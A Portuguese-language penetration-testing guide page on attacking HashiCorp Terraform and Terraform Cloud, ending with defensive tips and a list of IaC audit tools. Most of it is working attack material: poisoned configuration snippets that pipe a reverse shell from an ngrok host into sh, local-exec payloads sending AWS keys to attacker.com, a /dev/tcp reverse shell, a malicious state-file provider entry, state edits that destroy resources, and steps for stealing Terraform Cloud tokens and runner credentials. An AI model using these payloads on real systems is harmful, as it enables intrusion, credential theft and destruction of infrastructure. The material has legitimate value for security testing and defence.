Terraform Segurança

Reading time: 19 minutes

Informações Básicas

From the docs:

HashiCorp Terraform é uma ferramenta de infrastructure as code que permite definir tanto recursos cloud quanto on-prem em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo do seu ciclo de vida. Terraform pode gerenciar componentes de baixo nível como compute, storage e recursos de networking, bem como componentes de alto nível como entradas DNS e funcionalidades de SaaS.

Como o Terraform funciona?

Terraform cria e gerencia recursos em plataformas cloud e outros serviços através de suas application programming interfaces (APIs). Providers permitem que o Terraform trabalhe com virtualmente qualquer plataforma ou serviço com uma API acessível.

HashiCorp e a comunidade Terraform já escreveram mais de 1700 providers para gerenciar milhares de diferentes tipos de recursos e serviços, e esse número continua crescendo. Você pode encontrar todos os providers publicamente disponíveis no Terraform Registry, incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, e muitos outros.

O fluxo de trabalho core do Terraform consiste em três estágios:

• Write: Você define recursos, que podem estar em múltiplos cloud providers e serviços. Por exemplo, você pode criar uma configuração para deployar uma aplicação em máquinas virtuais em uma Virtual Private Cloud (VPC) com security groups e um load balancer.
• Plan: Terraform cria um execution plan descrevendo a infraestrutura que será criada, atualizada ou destruída com base na infraestrutura existente e na sua configuração.
• Apply: Mediante aprovação, Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências entre recursos. Por exemplo, se você atualizar as propriedades de uma VPC e alterar o número de máquinas virtuais nessa VPC, Terraform recriará a VPC antes de escalar as máquinas virtuais.

Terraform Lab

Basta instalar terraform no seu computador.

Aqui você tem um guide e aqui você tem a best way to download terraform.

RCE in Terraform: config file poisoning

Terraform não expõe uma plataforma com página web ou um serviço de rede que possamos enumerar, portanto, a única forma de comprometer terraform é ser capaz de adicionar/modificar arquivos de configuração do terraform ou ser capaz de modificar o terraform state file (veja capítulo abaixo).

No entanto, terraform é um componente muito sensível para comprometer porque ele terá acesso privilegiado a diferentes locais para poder funcionar corretamente.

A forma principal de um atacante comprometer o sistema onde o terraform está rodando é comprometer o repositório que armazena as configurações do terraform, porque em algum momento elas vão ser interpretadas.

Na verdade, existem soluções que executam terraform plan/apply automaticamente após um PR ser criado, como o Atlantis:

Atlantis Security

Se você for capaz de comprometer um arquivo terraform existem diferentes formas de realizar RCE quando alguém executa terraform plan ou terraform apply.

Terraform plan

Terraform plan é o comando mais usado no terraform e desenvolvedores/soluções que usam terraform o chamam o tempo todo, então a maneira mais fácil de conseguir RCE é garantir que você envenene um arquivo de configuração terraform que irá executar comandos arbitrários em um terraform plan.

Using an external provider

Terraform oferece o external provider que fornece uma forma de interface entre Terraform e programas externos. Você pode usar a data source external para executar código arbitrário durante um plan.

Injectar em um arquivo de configuração terraform algo como o seguinte irá executar um rev shell quando for executado terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Usando um provedor personalizado

Um atacante poderia enviar um custom provider para o Terraform Registry e então adicioná-lo ao código Terraform em uma feature branch (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

O provider é baixado no init e executará o código malicioso quando plan for executado

Você pode encontrar um exemplo em https://github.com/rung/terraform-provider-cmdexec

Usando uma referência externa

Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, porém mais complexa que a primeira). Você pode realizar este ataque de forma ainda mais discreta, seguindo estas sugestões:

• Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode carregar um recurso externo que contenha o rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Você pode encontrar o código rev shell em https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

• No recurso externo, use a funcionalidade ref para esconder o terraform rev shell code in a branch dentro do repositório, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply será executado para aplicar todas as alterações, você também pode abusar disso para obter RCE injetando um arquivo Terraform malicioso com local-exec.
Você só precisa garantir que algum payload como os seguintes termine no arquivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Siga as sugestões da técnica anterior para realizar este ataque de forma mais furtiva usando referências externas.

Dumps de Segredos

Você pode fazer com que os valores secretos usados pelo terraform sejam extraídos ao executar terraform apply adicionando ao arquivo terraform algo como:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusando dos state files do Terraform

Caso você tenha acesso de escrita aos terraform state files mas não possa alterar o código do terraform, esta pesquisa apresenta algumas opções interessantes para tirar proveito do arquivo. Mesmo que você tivesse acesso de escrita aos arquivos de configuração, usar o vetor dos state files costuma ser muito mais sorrateiro, já que você não deixa rastros no histórico do git.

RCE in Terraform: config file poisoning

É possível criar um provider customizado e simplesmente substituir um dos providers no terraform state file pelo malicioso ou adicionar um recurso falso referenciando o provider malicioso.

O provider statefile-rce baseia-se na pesquisa e weaponiza esse princípio. Você pode adicionar um recurso falso e colocar o comando bash arbitrário que deseja executar no atributo command. Quando a execução do terraform for acionada, isso será lido e executado tanto no terraform plan quanto no terraform apply. No caso do passo terraform apply, o terraform vai apagar o recurso falso do state file após executar seu comando, limpando os rastros. Mais informações e uma demo completa podem ser encontradas no repositório GitHub que hospeda o código fonte deste provider.

Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do array resources e customizar os atributos name e command:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Então, assim que terraform for executado, seu código será executado.

Removendo recursos

Existem 2 maneiras de destruir recursos:

1. Inserir um recurso com um nome aleatório no arquivo state apontando para o recurso real a ser destruído

Porque terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},

2. Modificar o recurso para forçar sua exclusão de forma que não seja possível atualizá-lo (assim ele será excluído e recriado)

Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluí-la e recriá-la.

Substituir provedor bloqueado

Caso você encontre uma situação em que hashicorp/external foi bloqueado, você pode reimplementar o provedor external fazendo o seguinte. Nota: Usamos um fork do provedor external publicado em https://registry.terraform.io/providers/nazarewk/external/latest. Você pode publicar seu próprio fork ou reimplementação também.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Então você pode usar external normalmente.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

Este cenário abusa dos runners do Terraform Cloud (TFC) durante speculative plans para pivot into the target cloud account.

• Pré-condições:

• Roube um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em plaintext em ~/.terraform.d/credentials.tfrc.json.

• O token deve ter acesso à organização/workspace alvo e pelo menos a permissão plan. Workspaces com VCS bloqueiam apply via CLI, mas ainda permitem speculative plans.

• Descubra configurações de workspace e VCS via a API do TFC:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq

• Acionar code execution durante um speculative plan usando o external data source e o Terraform Cloud "cloud" block para direcionar o VCS-backed workspace:

terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Exemplo rsync.sh para obter um reverse shell no TFC runner:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Execute um plano especulativo para rodar o programa no runner efêmero:

terraform init
terraform plan

• Enumerar e exfiltrar credenciais de cloud injetadas no runner. Durante as execuções, o TFC injeta credenciais do provider via arquivos e variáveis de ambiente:

env | grep -i gcp || true
env | grep -i aws || true

Arquivos esperados no diretório de trabalho do runner:

• GCP:

• tfc-google-application-credentials (config JSON do Workload Identity Federation)

• tfc-gcp-token (token de acesso GCP de curta duração)

• AWS:

• tfc-aws-shared-config (config de web identity/OIDC para assunção de role)

• tfc-aws-token (token de curta duração; algumas orgs podem usar chaves estáticas)

• Use as credenciais de curta duração fora de banda para contornar os gates do VCS:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Com essas credenciais, atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativos, contornando fluxos de trabalho baseados em PR que bloqueiam apply via VCS.

• Orientação defensiva:
• Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite associações e evite proprietários com privilégios excessivos.
• Restrinja a permissão plan em workspaces sensíveis vinculados ao VCS quando possível.
• Imponha allowlists de provider/data source com políticas Sentinel para bloquear data "external" ou providers desconhecidos. Veja a orientação da HashiCorp sobre provider filtering.
• Prefira OIDC/WIF em vez de credenciais estáticas de cloud; trate runners como sensíveis. Monitore execuções especulativas de plan e tráfego de saída inesperado.
• Detecte exfiltração de artefatos de credenciais tfc-* e alerte sobre uso suspeito do programa external durante execuções de plan.

Comprometendo Terraform Cloud

Usando um token

Como explicado neste post, o terraform CLI armazena tokens em texto plano em ~/.terraform.d/credentials.tfrc.json. Roubar esse token permite que um atacante se faça passar pelo usuário dentro do escopo do token.

Usando esse token, é possível obter a org/workspace com:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Então é possível executar código arbitrário usando terraform plan conforme explicado no capítulo anterior.

Escaping to the cloud

Então, se o runner estiver localizado em algum ambiente de cloud, é possível obter um token do principal associado ao runner e usá-lo fora de banda.

• GCP files (present in current run working directory)

• tfc-google-application-credentials — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.

• tfc-gcp-token — short‑lived (≈1 hour) GCP access token referenced by the above

• AWS files

• tfc-aws-shared-config — JSON for web identity federation/OIDC role assumption (preferred over static keys).

• tfc-aws-token — short‑lived token, or potentially static IAM keys if misconfigured.

Automatic Audit Tools

Snyk Infrastructure as Code (IaC)

A Snyk oferece uma solução abrangente de scanning de Infrastructure as Code (IaC) que detecta vulnerabilidades e configurações incorretas em Terraform, CloudFormation, Kubernetes, e outros formatos IaC.

• Recursos:
• Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade.
• Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket).
• Pull requests automatizados de correção.
• Orientação detalhada de remediação.
• Inscreva-se: Crie uma conta em Snyk.

brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov é uma ferramenta de análise estática de código para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes open source.

Ele analisa infraestrutura em nuvem provisionada usando Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu e detecta misconfigurações de segurança e conformidade usando varredura baseada em grafo.

Ele executa Software Composition Analysis (SCA) scanning, que é uma verificação de pacotes open source e imagens em busca de Common Vulnerabilities and Exposures (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance é um framework de testes leve, focado em security e compliance, para terraform, que permite a capacidade de negative testing para sua infraestrutura como código.

• compliance: Garantir que o código implementado esteja seguindo padrões de segurança, seus próprios padrões personalizados
• behaviour driven development: Temos BDD para quase tudo, por que não para IaC?
• portable: basta instalar via pip ou executá-lo via docker. See Installation
• pre-deploy: valida seu código antes de ser deployado
• easy to integrate: pode rodar no seu pipeline (ou em git hooks) para garantir que todas as implantações sejam validadas.
• segregation of duty: você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Segundo os docs: tfsec usa análise estática do seu código Terraform para identificar possíveis misconfigurações.

• ☁️ Verifica misconfigurações em todos os principais (e alguns secundários) provedores de nuvem
• ⛔ Centenas de regras integradas
• 🪆 Escaneia módulos (locais e remotos)
• ➕ Avalia expressões HCL assim como valores literais
• ↪️ Avalia funções do Terraform e.g. concat()
• 🔗 Avalia relações entre recursos do Terraform
• 🧰 Compatível com o Terraform CDK
• 🙅 Aplica (e enriquece) políticas Rego definidas pelo usuário
• 📃 Suporta múltiplos formatos de saída: lovely (padrão), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
• 🛠️ Configurável (via flags de CLI e/ou arquivo de configuração)
• ⚡ Muito rápido, capaz de escanear rapidamente repositórios enormes

brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan é um analisador estático de código para Infrastructure as Code. Terrascan permite que você:

• Escanear infrastructure as code para detectar misconfigurações de forma transparente.
• Monitorar a infraestrutura provisionada em cloud para alterações de configuração que introduzam posture drift, e possibilitar reverter para uma postura segura.
• Detectar vulnerabilidades de segurança e violações de conformidade.
• Mitigar riscos antes de provisionar infraestrutura cloud native.
• Oferece flexibilidade para executar localmente ou integrar com seu CI\CD.

brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Encontre vulnerabilidades de segurança, problemas de conformidade e misconfigurações de infraestrutura no início do ciclo de desenvolvimento da sua infraestrutura como código com KICS da Checkmarx.

KICS stands for Keeping Infrastructure as Code Secure, é open source e é indispensável para qualquer projeto cloud native.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

De acordo com os docs: Terrascan é um analisador estático de código para infraestrutura como código. Terrascan permite que você:

• Escanear infraestrutura como código de forma transparente em busca de misconfigurações.
• Monitorar a infraestrutura em nuvem provisionada por alterações de configuração que introduzam desvio de postura, e possibilitar reverter para uma postura segura.
• Detectar vulnerabilidades de segurança e violações de conformidade.
• Mitigar riscos antes do provisionamento de infraestrutura nativa na nuvem.
• Oferecer flexibilidade para rodar localmente ou integrar com seu CI\CD.

brew install terrascan

Referências

• Atlantis Security
• https://alex.kaskaso.li/post/terraform-plan-rce
• https://developer.hashicorp.com/terraform/intro
• https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
• https://github.com/offensive-actions/terraform-provider-statefile-rce
• Terraform Cloud token abuse turns speculative plan into remote code execution
• Terraform Cloud permissions
• Terraform Cloud API – Show workspace
• AWS provider configuration
• AWS CLI – OIDC role assumption
• GCP provider – Using Terraform Cloud
• Terraform – Sensitive variables
• Snyk Labs – Gitflops: dangers of Terraform automation platforms